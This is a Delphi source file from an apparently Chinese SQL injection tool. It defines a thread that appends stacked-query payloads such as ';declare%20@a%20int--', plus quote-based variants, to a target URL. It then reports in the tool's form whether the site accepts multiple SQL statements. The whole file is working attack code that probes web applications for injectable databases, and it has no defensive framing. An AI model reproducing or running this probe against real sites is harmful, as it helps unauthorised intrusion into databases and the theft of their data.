📄 threadcanmult.pas
字号:
unit ThreadCanMult;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,IdHTTP;
type
TThreadCanMult = class(TThread)
FURL:string;
complete:boolean;
private
private
function GetURLCode(URL: string): integer;
Procedure CanMulticase(str_url :string);
published
procedure Execute; override;
public
end;
implementation
uses
main_unit,CJdatabase_unit,define_unit,ThreadHttpGet;
//******************************************************************************
procedure TThreadCanMult.Execute;
begin
complete:=false;
CanMulticase(FURL);
complete:=true;
ThdObjCompleteCount:=ThdObjCompleteCount+1;
end;
Procedure TThreadCanMult.CanMulticase(str_url :string);
var
URL:string;
str_ext:string;
begin
str_ext:=';declare%20@a%20int--';
case CJdatabase_unit.Inject_methord of
0: begin
// Application.MessageBox(pchar('该注入地址可能无法注入,未知的注入方式'),'警告',mb_ok+mb_iconinformation);
// exit;
end;
1: begin
URL:=str_url+str_ext;
end;
2: begin
URL:=str_url+''''+str_ext;
end;
3: begin
URL:=str_url+'%25''%20'+str_ext;
end;
end;
if GetURLCode(URL)=200 then
Form_main.suiEdit_multi.Text:='支持'
else
Form_main.suiEdit_multi.Text:='不支持';
end;
function TThreadCanMult.GetURLCode(URL: string): integer;
var
IdGetObj:TThreadHttpGetHead;
begin
try
Result := 0;
IdGetObj:=TThreadHttpGetHead.Create(true);
IdGetObj.TimeOut:=TimeOut;//timeout30秒
IdGetObj.FURL:=URL;
IdGetObj.Success:=false;
IdGetObj.Resume;
while not IdGetObj.Success do
begin
application.ProcessMessages;
sleep(100);
end;
Result :=IdGetObj.iCode;
finally
IdGetObj.Free;
IdGetObj:=nil;
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -